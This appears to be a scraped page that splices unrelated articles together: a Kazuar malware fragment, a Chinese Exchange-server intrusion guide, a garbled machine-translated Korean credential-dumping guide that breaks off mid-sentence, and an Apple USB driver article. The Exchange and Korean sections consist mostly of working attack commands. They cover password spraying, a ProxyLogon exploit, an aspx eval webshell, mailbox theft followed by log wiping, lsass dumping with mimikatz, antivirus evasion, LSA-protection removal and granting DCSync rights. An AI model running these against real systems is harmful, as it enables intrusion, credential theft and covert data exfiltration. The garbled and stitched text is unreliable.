偽隨機的4字節數，可能是另一種類型的標識符；

一個基於設備GUID偽隨機生成的值數組；

硬編碼GUID連接字符串169739e7-2112-9514-6a61-d300c0fef02d；

設備的唯一GUID。

使用命名管道進行通信除了與C2進行直接HTTP通信外，Kazuar還具有代理功能，可以向受攻擊網絡中的其他Kazuar代理接收和發送命令，它通過命名管道進行代理通信，根據設備的GUID生成它們的名稱。

Kazuar使用這些管道在不同的Kazuar實例之間建立點對點通信，將每個實例配置為服務器或客戶端。命名管道通信支持表3所示的遠程請求。

20.png

使用命名管道的Kazuar請求和響應

反分析檢查Kazuar使用了基於一系列詳細檢查的多種反分析技術，以確保它不被分析。開發者對Kazuar進行了編程，使其要么在安全的情況下繼續運行，要么在調試或分析時保持空閒狀態並停止所有C2通信。研究人員可以將這些檢查分為三大類

HireHackking

在进行渗透过程中，Exchange邮件服务器通常是我们重点关注的对象，因为拿下了Exchange邮件服务器，凭借其机器账户的权限，我们可以赋予其他域内用户dcsync的权限，进而导出域内hash，拿下整个域。

exchange系统的中配置powershell使用命令

https://learn.microsoft.com/zh-cn/powershell/module/exchange/add-mailboxfolderpermission?view=exchange-ps

扫描服务

setspn.exe

setspn.exe -T vvvv1.com -F -Q */* | findstr exchange

2rpvj32hy1m11769.png

nmap

nmap 192.168.52.139 -A

mrnkwamr5ig11770.png

fqx0o0v0u4k11774.png

探测版本与漏洞

通过ews接口获得exchange精确版本信息

qw3vm0kicaa11779.png

缺点：部分旧的exchange版本不支持该操作。

通过owa接口获取exchange粗略版本信息

bbxav32p22a11780.png

获得版本号后，可以去官网查询对应的Exchange版本和发布日期。

查询地址：

https://learn.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2016

使用脚本检测版本与漏洞

https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_MatchVul.py

ol44yznhmeu11784.png

爆破

python2 EBurst.py -d 192.168.52.139 -C

gicfqnvimt211785.png

也可以使用该工具进行用户账户密码爆破。

python2 EBurst.py -d 192.168.52.139 -L ./users.txt -P ./passwords.txt --ews

信息收集

假定目前以及获取到了其中一个邮箱用户的凭据，接下来就可以进行信息收集。

通过Autodiscover进行信息收集

通过https://Exchange/autodiscover/autodiscover.xml接口，可以接受xml请求并返回xml中指定的电子邮件所属邮箱配置。

因为NTLMv2 身份验证需要 HTTP/1.1 连接，而新版burpsuit默认HTTP/2，因此我们需要先进行调整。

https://blog.csdn.net/qq_30786785/article/details/121742101

读取配置等操作可以参考如下链接。

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Exchange-Autodiscover%E7%9A%84%E4%BD%BF%E7%94%A8

其中basic为身份验证，使用base64加密 VVVV1\administrator:admin!@#456

POST /autodiscover/autodiscover.xml HTTP/1.1
Host: 192.168.52.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Authorization: Basic VlZWVjFcYWRtaW5pc3RyYXRvcjphZG1pbiFAIzQ1Ng==
Content-Type: text/xml
Content-Length: 350

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>exchange1@vvvv1.com</EMailAddress>
      <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>

如果不存在邮箱，则会返回

dneinq42o2j11787.png

如果邮箱存在，则会返回配置信息

sllhxy3hcbz11791.png

ecfn0ch4yg011792.png

获取exchange通讯录

全局地址列表（Global Address List，GAL）包含exchange组织所有的邮箱用户的邮件地址，只要获得exchange组织内任一邮箱用户的凭据，就可以导出其他邮箱用户的邮件地址。可以使用OWA、EWS、OAB、RPC over HTTP、MAPI over HTTP等方式获取GAL。

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%BE%97Exchange-GlobalAddressList%E7%9A%84%E6%96%B9%E6%B3%95

https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/

利用OWA直接查看

人员->所有用户

u2yvc5y4wtm11794.png

通过/EWS接口获取GAL

Powershell -ExecutionPolicy Bypass

Import-Module .\MailSniper.ps1

Get-GlobalAddressList -ExchHostname 192.168.52.139 -UserName VVVV1\administrator -Password admin!@#456 -OutFile gal.txt

qmwm4d3lvq311797.png

通过OAB获取GAL

1.通过Autodiscover搜集到的OAB路径；

2.访问/OAB/OABURI/oab.xml；

3.通过oab.xml找到默认全局地址表对应的LZX文件地址，并访问/OAB/OABURI/LZXURI，得到LZX文件；

4.使用cabextract工具对LZX文件解码，即可还原出GAL；

https://www.cabextract.org.uk/

通过RPC（MAPI） over HTTP导出GAL和信息收集

MAPI OVER HTTP是Outlook同Exchange2016之间默认的通信协议

MAPI OVER HTTP是Exchange Server 2013 Service Pack 1 (SP1)中实现的新传输协议，用来替代RPC OVER HTTP(也称作Outlook Anywhere)

Exchange2013默认没有启用MAPI OVER HTTP，Outlook同Exchange之间的通信协议使用RPC OVER HTTP

使用impacket-exchanger模块可以列出address list，找到对应的guid

python exchanger.py VVVV1/admins:User!@#45@192.168.52.139 nspi list-tables

ghphfjtgrku11801.png

导出所有用户

python exchanger.py VVVV1/admins:User!@#45@192.168.52.139 nspi dump-tables -guid 784f58c1-8bd1-4d28-81fa-52d22ce95738

nnearbdrcnv11804.png

通过python远程导出GAL

python ewsManage_Downloader.py 192.168.52.139 443 plaintext vvvv1.com admins User!@#45 findallpeople

qu0zyzh1q0z11805.png

导出邮件内容

通过/OWA接口直接下载邮件

通过输入账号密码，然后直接在页面中读取或下载邮件

ntjb5fwobcx11810.png

通过/EWS接口导出邮件内容

通过python远程导出邮件

可以通过明文密码导出，也可以通过hash导出

python ewsManage_Downloader.py 192.168.52.139 443 plaintext vvvv1.com administrator admin!@#456 download

python ewsManage_Downloader.py test.com 80 ntlmhash NULL user1 c5a237b7e9d8e708d8436b6148a25fa1 findallpeople

f1v2c1dcz3v11812.png

通过python导出邮件一般情况下使用SOAP XML message导出

XML元素官方文档：

https://learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-xml-elements-in-exchange

通过exshell.ps1导出邮件

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E4%BB%8EExchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E6%90%9C%E7%B4%A2%E5%92%8C%E5%AF%BC%E5%87%BA%E9%82%AE%E4%BB%B6

Powershell.exe -psconsolefile "C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1" -command "New-MailboxExportrequest -mailbox administrator -filepath '\\localhost\c$\exchange1.pst'

3nzd1n3xutz11816.png

0pazfalpagz11820.png

当然，在导出邮件之后，我们还需要进行导出邮件痕迹的清除

查看邮件导出请求记录

Powershell.exe -psconsolefile "C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1" -command "Get-MailboxExportRequest"

qahovamdx3011823.png

删除导出日志记录

Powershell.exe -psconsolefile "C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1" -command "remove-MailboxExportRequest"

twgbnut3qkj11826.png

Identity参数为上图中的Mailbox参数

Powershell.exe -psconsolefile "C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1" -command "remove-MailboxExportRequest -Identity 'vvvv1.com/Users/Administrator\MailboxExport' -Confirm:$false"

邮箱接管后门种植

配置模拟权限

https://4sysops.com/archives/exchange-impersonation-grant-permissions-to-service-accounts/

mnnzffmu2p211831.png

添加如下的权限即可。

验证是否有模拟权限：

https://192.168.52.139/ecp/exchange1@vvvv1.com/

具体利用需要结合脚本文件。

spebwreyftd11835.png

查看具有模拟权限的成员

Get-ManagementRoleAssignment -Role:ApplicationImpersonation

Powershell.exe -psconsolefile "C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1" -command "Get-ManagementRoleAssignment -Role:ApplicationImpersonation"

t5ffgbtgmhu11837.png

创建一个新的具有模拟权限的成员

New-ManagementRoleAssignment -Role:ApplicationImpersonation -User: exchange1@vvvv1.com

xnyv3fzipd111839.png

删除新添加模拟权限的成员

Remove-ManagementRoleAssignment "ApplicationImpersonation-admins"

4htqs1hvn1b11841.png

配置fullaccess权限

https://blog.csdn.net/weixin_34123613/article/details/90079532

Get-Mailbox -ResultSize unlimited -Filter {(RecipientTypeDetails -eq 'UserMailbox') -and (Alias -ne 'Administrator')} | Add-MailboxPermission -User administrator -AccessRights fullaccess -InheritanceType all

wr5xc3dw4d011844.png

取消fullaccess权限

Get-Mailbox -ResultSize unlimited -Filter {(RecipientTypeDetails -eq 'UserMailbox') -and (Alias -ne 'Administrator')} | remove-MailboxPermission -User administrator -AccessRights fullaccess -InheritanceType all

验证fullaccess权限

wrdoqlkjscx11846.png

漏洞攻击

python ProxyLogon.py --host=exchange.com --mail=admin@exchange.com

aspx木马：
<script language="JScript" runat="server"> function Page\_Load(){/\*\*/eval(Request\["command"\],"unsafe");}</script>

后渗透阶段

exchange服务器信息收集

获取到exchange默认安装路径

echo %ExchangeInstallPath%

fqjy0gji43y11849.png

控制台文件的相对位置是%ExchangeInstallPath%\Bin\exshell.ps1

获取所有邮箱信息

powershell.exe -psconsolefile "C:\Program Files\Microsoft\Exchange Server\V15\bin\exshell.psc1" -command "get-mailbox -resultsize unlimited"

kd5u2d2f3pr11851.png

分析邮件跟踪日志

邮件跟踪日志位于%ExchangeInstallPath%\TransportRoles\Logs\MessageTracking

jaw2falq1fn11861.png

在配置了代理隧道的情况下可以通过copy命令将日志复制到本地。

通过脚本log_analysis.py可以提取关键信息进行分析。

import csv
import os
import sys
def analysis(path):
    for i in os.listdir(path):
        print(i)
        csvfile = []
        for i in open(path+"/" + i, encoding='utf-8'):
            if '#Software: Microsoft Exchange Server' in i: continue
            if i[:1] == '#':
                if i[:9] == '#Fields: ':
                    i = i.replace('#Fields: ', '')
                else:
                    continue
            csvfile.append(i)
        reader = csv.DictReader(csvfile)

        for row in reader:
            date_time = row["date-time"]
            original_server_ip = row["original-server-ip"]
            original_client_ip = row["original-client-ip"]
            from_email = row["sender-address"]
            to_email = row['recipient-address'].replace(';', "   ")
            subject = row['message-subject']
            if date_time !='' and  original_server_ip != '' and original_client_ip != "" and from_email != "" and to_email != "" and subject != "":
                msg = f'[{date_time}]:[ {from_email} ][ip:{original_client_ip}] -> [ {to_email} ][ip:{original_server_ip}] [ {subject} ]\n'
                wf = open(f'{path}\\testout.txt', "a+", encoding='utf-8')
                wf.write(msg)

if __name__ == '__main__':
    path = sys.argv[1]
    analysis(path=path)

uz4bd2ihoks11867.png

使用exchange中的exshell.ps1文件也可以获取某个账户的发件信息进行分析

powershell.exe -psconsolefile "C:\Program Files\Microsoft\Exchange Server\V15\bin\exshell.psc1" -command "Get-MessageTrackingLog -EventID send -Sender "administrator@vvvv1.com""

ahpklnlvjqx11882.png

导出本地hash

获取到webshell权限后，查看权限是否需要提权等操作

sgomir5ernc11885.png

上传微软的工具导出lsass进程中的hash防止被查杀。

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

导出生成的lsass.dmp文件，copy进入本地使用mimikatz进行分析。

mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

kesr5kesrz211889.png

抓取到exchange的机器用户的hash。

exchange机器位于Exchange Trusted Subsystem，而Exchange Trusted Subsystem又属于Exchange Windows Permission组，这个组具有WriteDACL权限，且可以继承，因此exchange机器对于域对象具有WriteDACL权限，我们只需要知道一个普通域用户的密码或者hash，即可赋予其dcsync的权限，导出域内hash。

搭建webshell代理

正常情况下，exchange服务器是处于不出网的环境中，而当我们拿到webshell的说话，无法反弹shell到自己的工具，所以需要通过webshell流量搭建代理隧道。

使用Chunk-Proxy工具即可，将代理文件上传到web目录中

java -jar v1.10.jar .net 1088 https://192.168.52.139/aspnet_client/proxy.aspx

hcqbq0wpfe211892.png

发现已经成功访问到内网网段

fjkaiyi44h211896.png

赋予普通用户dcsync权限

使用工具bloodyAD直接远程赋予即可。

python bloodyAD.py -d vvvv1.com -u EXCHANGE-2016$ -p :a377e26f4118ba88ce1af6a4f8ac9daf --host 10.10.10.10 add dcsync man03

qadtm3t45mh11902.png

ko0hos0njz411906.png

使用命令行给用户添加dcsync权限

通过加载Powershell渗透框架下的PowerView.ps1脚本实现。

Powershell -ExecutionPolicy Bypass

Import-Module .\PowerView.ps1

Add-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose

经过测试，域控的机器账户并没有授予其他人dcsync服务的权限。

q3cti4e4omq11910.png

但是域管理员账户是拥有授予其他人dcsync服务的权限。

qaioyejiqn511912.png

m4sgkabhrtr11916.png

发现man03已经被添加dcsync权限了。

删除man03的dcsync权限

Remove-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose

发现已经删除

3x4zyev1wxz11931.png

赋予dcsync权限后，只需要使用hash传递将对应账户注入到当前lsass进程中,然后使用sharpkatz就可以远程导出域hash了。

总结

为什么一定要导出邮件呢？

1.在日常工作中，对于甲方的指定人员进行邮件分析，分析行为等；

2.在企业或者大型内网环境中，我们一般从exchange进去的域属于公共域，在内部里面还有私有域，两个域可能并不互相信任，也有可能是隔离的环境，那么两个域之间相互进行联系靠的就是邮件通讯，因此导出其中的邮件可能会有vpn账号等等；

3.可能企业或者内网这个域环境搭建是通过外包的，如果出现问题，企业就会需要发邮件让外包人员进行处理，同时，外包人员也并不是实时都在现场，也会通过vpn等手段连入内网，当然，在内部网络，IT部门也会根据身份分发VPN等邮件；

4.还会有许多的机器密码等等也保存在邮件中，或者在机器中；

网络hash

当我们截获到网络hash，需要思考两点：

1.如果这个网络hash只是用于身份认证的话，一般使用不可逆算法，比如md5，sha256等等算法，只能采用爆破的方法；

2.如果这个网络hash后续还需要使用明文来连接，比如连接ldap服务，那么算法大概率是可逆的，可以由相关人员来破解。


转载自原文链接地址： https://forum.butian.net/share/3679

HireHackking

현재 기계의 일반 텍스트 비밀번호를 받으십시오

도메인 해시를 내보내기 전에 먼저 현재 컴퓨터의 로컬 해시 비밀번호를 내보내려고 노력할 수 있습니다. 도메인 사용자가 이전 에이 컴퓨터에 로그인하는 경우 도메인 사용자 또는 도메인 관리자의 계정을 직접 얻을 수 있습니다.

Windows 운영 체제에서 SAM 데이터베이스 (C: \ Windows \ System32 \ Config \ Sam)는 로컬 사용자의 해시를 저장합니다.

로컬 인증 프로세스에서 로컬 보안 권한 서비스 프로세스 lsass.exe도 메모리 (DMP 파일)의 사용자 비밀번호를 캐시합니다.

따라서 현재 기계의 해시를 크롤링하는 두 가지 방법 인 온라인 도구 추출 및 오프라인 분석 추출을 고려할 수 있습니다.

참고 : Windows 10 \ 2012R2 이후의 시스템 버전에서 시스템 사용자의 일반 텍스트 암호는 기본적으로 메모리 캐시에서 비활성화됩니다. 현재 Mimikatz를 사용하여 일반 텍스트를 잡을 수 있으며, 확실히 그것을 잡을 수 없습니다. 비밀번호 필드 숫자는 NULL로 직접 표시됩니다.

여기서는 일반 텍스트를 저장하기 위해 레지스트리를 수동으로 수정하여 크롤링 할 수 있습니다. (수정 후 로그인하기 전에 사용자에서 로그 아웃해야합니다)

reg 추가 hklm \\ system \\ currentControlset \\ Control \\ securityproviders \\ wdigest /v Uselogoncredential /t reg \ _dword /d 1 /f

Mimikatz

Mimikatz는 Frenchman Benjamin이 개발 한 강력한 경량 디버깅 도구입니다. 개인 테스트를위한 것이지만 강력한 기능으로 인해 Windows XP-2012와 같은 운영 체제의 일반 텍스트 암호를 직접 읽을 수 있으며 침투 테스트로 유명합니다. 그것은 침투에 필요한 도구라고 할 수 있습니다.

다운로드 주소 : https://github.com/gentilkiwi/mimikatz

1. 레지스트리를 통한 크롤링 해시

현재 시스템 레지스트리의 SAM 및 시스템 파일을 얻기 위해 명령 줄을 실행하십시오 (지역 관리자 권한 필요).

reg save hklm \\ system sys.hiv

reg save hklm \\ sam sam.hiv

파일을 얻은 후 파일을 공격자의 기본 컴퓨터로 다운로드하고 Mimikatz를 사용하여 오프라인 해시를 분석하고 추출 할 수 있습니다.

mimikatz.exe 'lsadump:sam /sam:sam.hiv /system:sys.hiv' 'exit'

이 방법은 SAM 파일에 저장된 로컬 사용자의 계정 만 얻을 수 있습니다.

pjno1avgdtk11742.png

2. Mimikatz를 대상 기계에 업로드하고 로컬 SAM 파일에 저장된 계정 해시 값을 추출하십시오.

권한 3:debug

TOKEN3:3360ELEVATE

LSADUMP3:SAM

1kdcsqhowgb11743.png

3. 해시를 lsass.exe의 메모리에서 확장하십시오

Mimikatz 'Privilege:debug' 'Sekurlsa:LogonPasswords Full' 'Exit'

14kwcpfe5zx11744.png

2ukljcxigxx11745.png

로컬 사용자에게 로그인 한 도메인 관리자의 해시 값이 로컬 사용자의 관리자 권한을 사용하여 캡처 한 것으로 나타났습니다.

pwdump7

pwdump7.exe를 직접 실행하십시오

ketxr4mztzy11746.png

wec

대상 기계에 업로드하고 매개 변수를 추가하여 직접 실행하십시오.

-L 로그인 세션 및 NTLM 자격 증명 (기본값)

-S 현재 로그인 세션 매개 변수의 NTLM 자격 증명 수정 : 사용자 이름 : DomainName :LM HASH :NT HASH

-R 정기적으로 로그인 세션 및 NTLM 자격 증명을 나열합니다. 새 세션이 발견되면 5 초마다 다시 되풀이됩니다.

-C 특수 NTML 자격 증명 매개 변수로 새 세션을 실행합니다.

-E 로그인 세션 및 NTLM 자격 증명을 수시로 나열하고 로그인 이벤트가 생성 될 때 한 번 다시 릴리스트

-o 모든 출력을 파일 매개 변수에 저장 : 파일 이름

-현재 로그인 세션 매개 변수 :을 사용하는 대신 루드를 지정합니다.

-D 로그인 세션 매개 변수 :에서 NTLM 자격 증명을 삭제합니다

-주소 매개 변수 : 주소를 사용합니다

-F Force Safe Mode

-G LM 및 NT 매개 변수 암호에 대한 해시를 생성합니다

-K 캐시 Kerberos 파일 (Unix 및 Windows WCE 형식) 티켓

-K 파일에서 Kerberos 티켓을 읽고 Windows 캐시에 삽입하십시오.

-W 다이제스트 인증을 통해 일반 텍스트 비밀번호를 캐시합니다

-V 상세한 출력

3ean1big5k211747.png

라자네

다운로드 주소 : https://github.com/alessandroz/lazagne

Lazagne.exe 모두

jfcj3htjvoh11748.png

SharpDump

https://github.com/ghostpack/sharpdump

직접 컴파일하면됩니다

./sharpdump

pmvh3bi0upq11749.png

lsasssilentprocessexit

https://mp.weixin.qq.com/s/8uer5DNAQS24KUKXU5YI9W

침묵 프로세스 출구, 즉 조용히 종료됩니다. 이 디버깅 기술은 werfault.exe 프로세스를 도출 할 수 있으며,이 프로세스는 프로그램을 실행하거나 모든 프로세스의 메모리 파일 또는 팝업을 재배치하는 데 사용할 수 있습니다.

주로 LSASSSILENTPROCESSEXIT API를 사용합니다. LEGISTION + 원격 프로세스 분사 및 관련 레지스트리 키 값을 수정하여 메모리를 덤프합니다.

#define ifeo \ _reg \ _key '소프트웨어 \\\\\ microsoft \\\\\\ Windows nt \\\\\ currentVersion \\\\\ execution 옵션 \\\\\'

#define silent \ _process \ _exit \ _reg \ _key '소프트웨어 \\\\\\ Microsoft \\\\\ Windows nt \\\\\ currentversion \\\\\ silentProcessexit \\\\\\'

원격 프로세스 주입을 사용하여 lsass.exe가 rtlreportsilentprocessexit 기능 자체를 호출하십시오.

hmodule hntdll=getModule Handle (l 'ntdll.dll');

rtlreportSilentProcessExit \ _func rtlreportSilentProcessExit=(rtlReportSilentProcessExit \ _func) getProcadDress (hntdll, 'rtlreportSilentProcessExit');

hthread=createremotethread (hprocess, null, 0, (lpthread \ _start \ _routine) rtlreportSilentProcessExit, (lpvoid) -1, null, null);

그러나 레지스트리를 수정해야하므로 소프트 킬링 환경을 우회하는 것은 거의 불가능합니다.

lsasssilentprocessexit.exe 616 0

qaaun3huzqw11750.png

민감한 환경에서 LSASS 프로세스를 덤프하는 방법

파일없이 PowerShell을 사용하여 파일없이 내보내십시오

https://blog.csdn.net/chenfeng857/article/details/120126818

https://xz.aliyun.com/t/12157#toc-9

comsvcs.dll, 시스템과 함께 제공됩니다. comsvcs.dll의 내보내기 함수 Minidump를 통해 덤프 메모리를 구현하십시오.

지정된 프로세스 메모리 파일을 덤프 할 때는 SedeBugPrivilege 권한이 필요합니다. 관리자 권한의 CMD에 따라 SedeBugPrivilege 권한은 기본적으로 지원되지만 상태는 비활성화됩니다.

sifcktu5lej11751.png

CMD에서 rundll32 명령을 직접 실행하고 지정된 프로세스 메모리 파일을 덤프하려고하면 sedebugprivilege 권한을 활성화 할 수 없으므로 덤프가 실패합니다.

그러나 관리자 권한이있는 PowerShell에서는 SedeBugPrivilege 권한이 기본적으로 지원되며 상태가 활성화됩니다.

wm4mflfiapa11752.png

먼저 lsass.exe 프로세스 PID를 확인하십시오

작업 목록 | findstr lsass.exe

rundll32.exe comsvcs.dll minidump pid 경로 가득

rundll32.exe comsvcs.dll minidump 1096 c: \\ users \\ 16229 \\ goodtop \\ 1.dmp full

직접 실행하면 소프트를 죽임으로써 가로 채워질 수 있습니다.

그것을 우회하는 간단한 방법 :

Copycomsvcs.dll to In Insensitive Directories 및 무작위로 명명 된 Test.dll

C: \\ Windows \\ System32 \\ comsvcs.dll test.dll을 복사하십시오

rundll32.exe c: \\ users \\ 16229 \\ goodtop \\ code \ _java \\ test.dll minidump 1096 c: \\ users \\ 16229 \\ goodtop \\ code \ _java \\ 3.dmp full

0guv5q35ymg11753.png

로컬로 드래그하고 분석을 위해 Mimikatz를 사용하십시오.

Mimikatz.exe log 'Sekurlsa3333:minidump 2.dmp' 'sekurlsa333:logonpasswords Full'Exit

runasppl이 활성화 된 환경에서

https://www.freebuf.com/articles/system/332506.html

https://xz.aliyun.com/t/12157#toc-19

Mimikatz

PPL 보호 기능을 사용하여 관리자조차도 LSASS 프로세스를 열 수 없습니다.

Mimikatz 'Privilege:debug' 'Sekurlsa:LogonPasswords Full' 'Exit'

d0wkes4rkbv11754.png

Mimikatzprivilege:debug의 명령이 성공적으로 활성화되었습니다. sedebugprivilege이지만 명령 sekurlsa333:0logonpasswords가 실패하고 오류 코드0x00000005가 나타납니다. Minikatz 코드 kuhl_m_sekurlsa_acquirelsa () 함수에서 간단히 이해할 수 있습니다.

hdata=null을 처리합니다.

dword pid;

dword processrights=process_vm_read | Process_Query_Information;

kull_m_process_getprocessidforname (l 'lsass.exe', pid);

hdata=OpenProcess (processrights, false, pid);

if (hdata hdata!=invalid_handle_value) {

//OpenProcess OK 인 경우

}

또 다른 {

print_error_auto (메모리 핸들);

}

프로세스 탐색기를 사용하여 LSASS 프로세스를 열어 볼 수있게되면 액세스가 거부됩니다.

ocqsvxruel211755.png

Mimikatz의 디지털 서명 드라이버를 사용하여 커널의 프로세스 객체에 대한 보호 플래그를 제거하십시오.

5b5tq51sdai11756.png

Minikatz 설치 드라이버

권한 3:debug

!+

1jah0m3o2ts11758.png

보호 삭제

! ProcessProtect /Process:lsass.exe /제거

hivl32vyf4u11759.png

그런 다음 비밀번호를 버릴 수 있습니다

Sekurlsa:LogonPasswords

4njxvib0z0p11760.png

도구를 사용하여 보호가 삭제 된 것을보십시오.

ii3z5li3hmc11761.png

mimikatz.exe 'privilege:debug' '!+' '! ProcessProtect /Process3:lsass.exe /제거' 'Sekurlsa33333:LogonPasswords'exit '

pplkiller

https://www.cnblogs.com/revercc/p/16961961.html

https://redcursor.com.au/bypassing-lsa-protection-aka-protected-process-light-withoutmimikatz-on-windows-10/

우선 순위 차이 : PP는 시그니처 레벨이 더 크거나 동일하다면 전체 액세스 권한으로 PP 또는 PPL을 열 수 있습니다. PPL은 서명 수준이 높거나 같으면 전체 액세스 권한으로 다른 PPL을 열 수 있습니다. 시그니처 레벨에 관계없이 PPL은 전체 액세스 권한이있는 PP를 열 수 없습니다.

PPL이 활성화되면 더 높은 보호 수준에서 실행되는 프로세스 만 보호 된 프로세스에서 작동 할 수 있습니다.

Windows 커널은 _eprocess 구조를 사용하여 커널 메모리의 프로세스를 나타냅니다. 여기에는 유형 (_ps_protected_type) 및 서명자 (_ps_protected_signer) 속성을 통해 프로세스의 보호 수준을 정의하는 _ps_protection 필드가 포함됩니다.

typedef struct _ps_protection {

연합 {

uchar 레벨;

구조 {

UCHAR 유형 : 3;

Uchar Audit : 1; //예약된

Uchar Signer : 4;

};

};

} ps_protection, *pps_protection;

구조물로 표시되지만 모든 정보는 단일 바이트의 두 개의 니블 (leveles a uchar, signed char)에 저장됩니다. 처음 3 자리는 보호 유형을 나타냅니다 (아래 ps_protected_type 참조). 프로세스가 PP 또는 PPL인지 정의합니다. 마지막 4 자리는 서명자 유형 (아래 PS_Protected_Signer 참조), 즉 실제 보호 수준을 나타냅니다.

typedef enum _ps_protected_type {

psprotectedTypenone=0,

psprotectedTyPepRotectedlight=1,

psprotectedTyPeprotected=2

} ps_protected_type, *pps_protected_type;

typedef enum _ps_protected_signer {

psprotectedSignerNone=0, //0

psprotectedSignerauthenticode, //1

psprotectedSignerCodeGen, //2

psprotectedSignerantimalware, //3

psprotectedSignerlsa, //4

psprotectedSignerWindows, //5

psprotectedSignerwintcb, //6

psprotectedSignerWinsystem, //7

psprotectedSignerApp, //8

psprotectedSignerMax //9

} ps_protected_signer, *pps_protected_signer;

LSA 보호를 우회하려면 eprocess 커널 구조를 패치하여 LSASS 프로세스의 PPL 플래그를 비활성화 할 수 있습니다. 이를 위해서는 LSASS eprocess 구조의 주소와 패치 5 값을 찾아야합니다.

EnumDevedIvers 기능은 커널베이스 주소를 누출하는 데 사용될 수 있습니다. 이것은 시스템 프로세스의 eprocess 구조를 가리키는 psinitialsystemprocess를 찾는 데 사용될 수 있습니다. 커널은 링크 된 목록에 프로세스를 저장하므로 Eprocess 구조의 ActiveProcessLinks를 사용하여 링크 된 목록을 반복하고 LSASS를 찾을 수 있습니다.

eprocess 구조를 살펴보면 패치해야 할 5 개의 필드가 일반적으로 4 바이트로 정렬되어 있음을 알 수 있습니다. 이를 통해 다음과 같이 단일 4 바이트 쓰기로 eprocess 구조를 패치 할 수 있습니다.

qtokgx2fzoj11762.png

주소를 찾은 후이 4 바이트의 값을 0으로 패치하십시오.

pplkiller.exe /installdriver

작업 목록 | findstr lsass.exe

pplkiller.exe /disableppl 688

다른 커널 버전을 만나면 프로그램이 4 바이트를 올바르게 패치 할 수 없으므로 동일한 버전의 컴퓨터를 찾아 LSASS 커널 주소를 WINDBG 디버깅을 통해 볼 수 있습니다.

bcdedit/debug onsrv \*https://msdl.microsoft.com/다운로드/기호

1ziy0bvg5oz11763.png

.Reload

! 프로세스 0 0 LSASS.EXE

dt \ _eprocess

l1bxl11fvnz11764.png

ynu0mxmul5t11765.png

arkyccmrsjv11766.png

주소0x6c0을 찾고 스크립트를 수정 한 다음 컴파일하십시오.

tussnijwbfu11767.png

ppldump

https://itm4n.github.io/the-end-of-ppldump/

https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/

PplDump는 C/C ++로 작성된 도구로 사용자 상태 취약성 착취를 구현하여 관리자로서 PPL에 임의 코드를 주입합니다. 이 기술은 Alex Ionescu와 James Forshaw가 보호 프로세스 (PP 및 PPL)에 대한 심층적 인 연구를 수행하는 많은 연구 결과 중 하나입니다.

ppldump의 작동 원리는 다음과 같습니다.

AP에 전화하십시오

HireHackking

如果你曾經將iPhone、iPad或iPod連接到Windows PC上，你可能會注意到，這些設備會根據你的操作顯示為不同類型的設備。例如，如果你正在給iPhone充電，它可能會顯示為“USB複合設備”，但如果你正在與iTunes同步音樂，它可能會顯示為“蘋果移動設備USB驅動程序”。你有沒有想過這是怎麼回事？事實證明，蘋果在Windows電腦上有一個USB低級過濾器，可以幫助他們控制操作系統使用哪些USB配置。

本文中，我們會首先介紹蘋果的USB低級過濾器是如何工作的，它是做什麼，以及無論是否安裝了蘋果軟件，它如何提供不同的體驗；其次，我們將研究為什麼當設備的WPD屬性WPD_DEVICE_PROTOCOL表明設備正在使用媒體傳輸協議(MTP)時，iphone的開箱操作如此有限。我們將深入研究諸如Windows便攜式設備(WPD)，USB描述符和用戶模式驅動程序框架(UMDF)等話題。

初始化蘋果的USB低級過濾器蘋果設備將自己呈現為具有多個接口的複合設備，以確保它們的設備被正確識別，並加載所有必要的驅動程序。這是因為蘋果設備通常有多個接口，提供不同的功能，如音頻、視頻和控制。當我們將蘋果設備插入Windows設備時，總線適配器識別設備並向操作系統提供其hardwareid和compatibleid。這些id用於根據id的匹配質量在driver Store中搜索最佳驅動程序。

對於總線驅動器來說，要將該設備視為複合設備，必須滿足一定的要求。如果不滿足這些要求，操作系統將不會自動加載USB複合設備類驅動程序(usbccgp)。在這種情況下，我們需要提供一個INF來加載通用的父驅動程序，對於蘋果來說是文件AppleUSB.inf。

在iPhone的情況下，不滿足的要求是設備具有多個配置(bNumConfigurations==4)。

這個INF文件包含不同設備的各種設置配置(例如AppleUSB, AppleUsbHomePod和AppleUsbWatch)。對於iOS設備，HardwareId將完全匹配，因此操作系統將應用AppleUSB設置配置，這將復制AppleLowerFilter.sys，並將在設備特定的註冊表項下添加以下值：

1.png

OriginalConfigurationValue是一個可以在設備的硬件註冊表項中為Usbccgp.sys驅動程序設置的值。它確定複合設備的哪個配置應用作默認配置。首次插入複合設備時，系統讀取OriginalConfigurationValue並加載指定的配置。這對於具有多個配置的複合設備非常有用，其中一個配置可能是首選配置。

